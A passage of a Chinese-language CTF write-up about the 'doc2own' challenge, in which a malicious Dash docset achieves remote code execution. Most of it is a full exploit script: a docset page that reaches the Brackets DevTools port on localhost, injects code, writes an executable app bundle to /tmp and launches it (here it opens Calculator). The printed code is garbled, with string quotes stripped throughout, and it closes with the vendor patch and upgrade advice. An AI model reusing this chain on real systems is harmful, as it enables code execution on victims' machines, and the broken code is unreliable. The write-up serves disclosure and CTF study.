經過報告後修復了本地文件泄露的問題，這也為出題提供了一個絕佳的條件——這是個允許跨域請求，卻又不能簡單 AJAX 讀本地文件的環境，選手必須實現實質性的遠程代碼執行。最後這個 WebView 和系統內置 Safari 的 WebKit 是一致的，避免選手使用已公開的瀏覽器漏洞利用代碼來獲得許可權。至於打 ctf 用 Safari 0day？瘋了嗎。

doc2own ( Points: 425, Solved by 4 Teams )

I have to fix these issues during the flight. Since that airline does not provide Internet, I have to download some documents for offline use.http://34.236.229.208:8080Hint : It』s a pwnable game. You really need to achieve RCE to get the flag.

題目設定的劇情就是一個像我一樣的信息技術底層勞動力，在出差的路上需要修 bug，又沒網，只能下一個離線文檔備用。而這時候下到了不幹凈的文檔，於是電腦中招了。

217 戰隊按照預期的解法做了出來。

https://blog.l4ys.tw/2018/07/realworld-ctf-2018-doc2own/?

blog.l4ys.tw

在這裡附上我自己調試通過的一個解法，生成一個 docset，在 Brackets 運行的情況下打開會彈出一個計算器

contents=exploit.docset/Contents
docs=$contents/Resources/Documents

rm -r $contents
mkdir -p $docs

cat > $docs/index.html <<- "EOF"
<script>
async function main() {
const list = await fetch(http://localhost:9234/json).then(r => r.json());
const item = list.find(item => item.url.indexOf(file:///) === 0);
if (!item) return console.error(invalid response);
const url = `ws://127.0.0.1:9234/devtools/page/${item.id}`;
console.log(url: + url);
exploit(url);
}
function exploit(url) {
function calc() {
const fs = window.appshell.fs;
const mkdir = path => new Promise((resolve, reject) =>
fs.makedir(path, 0755, err => err => err === 0 ? resolve(true) : reject(err)));
const writeFile = (path, content) => new Promise((resolve, reject) =>
fs.writeFile(path, content, utf8, false, err => err === 0 ? resolve(true) : reject(err)));
const chmod = (path, mode) => new Promise((resolve, reject) =>
fs.chmod(path, mode, err => err === 0 ? resolve(true) : reject(err)));
const INFO_PLIST = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>hello</string>
<key>CFBundleIconFile</key>
<string>AppIcon</string>
</dict>
</plist>`;
const EXEC = `#!/bin/sh
open -a Calculator`;
const app = /tmp/test.app/;
const base = app + Contents/
return mkdir(base + MacOS)
.then(writeFile(base + Info.plist, INFO_PLIST))
.then(writeFile(base + MacOS/hello, EXEC))
.then(chmod(base + MacOS/hello, 0777))
.then(new Promise((resolve, reject) => {
brackets.app.showOSFolder(app)
}));
}
const ws = new WebSocket(url);
ws.onopen = async () => {
let counter = 13371337;
const send = (method, params) => new Promise((resolve, reject) => {
const id = counter++;
const recv = ({ data }) => {
const parsed = JSON.parse(data);
if (parsed.id === id) {
resolve(parsed.result);
ws.removeEventListener(message, recv);
} else {
console.log(message: , data);
}
};
ws.addEventListener(message, recv);
ws.send(JSON.stringify({ id, method, params }));
});
const response = await send(Runtime.evaluate, { expression: `(${calc})()` });
console.log(response.result);
ws.close();
}
ws.onerror = () => console.log(failed to connect);
}
main();
</script>
EOF

cat > $contents/Info.plist <<- "EOF"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>exploit</string>
<key>CFBundleName</key>
<string>Exploit</string>
<key>DocSetPlatformFamily</key>
<string>exploit</string>
<key>dashIndexFilePath</key>
<string>index.html</string>
<key>isDashDocset</key>
<true/>
</dict>
</plist>
EOF

sqlite3 -batch $contents/Resources/docSet.dsidx << "EOF"
CREATE TABLE searchIndex(id INTEGER PRIMARY KEY, name TEXT, type TEXT, path TEXT);
CREATE UNIQUE INDEX anchor ON searchIndex (name, type, path);
INSERT OR IGNORE INTO searchIndex(name, type, path) VALUES (Exploit, Class, index.html);
EOF

open exploit.docset

tar czf exp.tar.gz exploit.docset

但是出乎我意料的是，另外三支強隊 PPP, CyKOR 和 ESPR 在短短的比賽期間內直接交上了兩個不同的 0day 解法。賽後我向廠商整理漏洞報告，又快速瀏覽了一遍反彙編，又發現了另外的一些疑似遠程代碼執行問題（我沒有做 poc，經過開發者自己確認存在）。

Dash 作者接到報告之後非常迅速地推出了修復補丁，檢查了線上的 Dash 文檔倉庫確保之前沒有實質性的攻擊，在更新日誌中明確寫明了安全漏洞的存在並對以上戰隊表示了致謝。應急響應做得非常不錯。

Dash 用戶請儘快升級到 4.4.0 來修復這些問題。

推薦閱讀：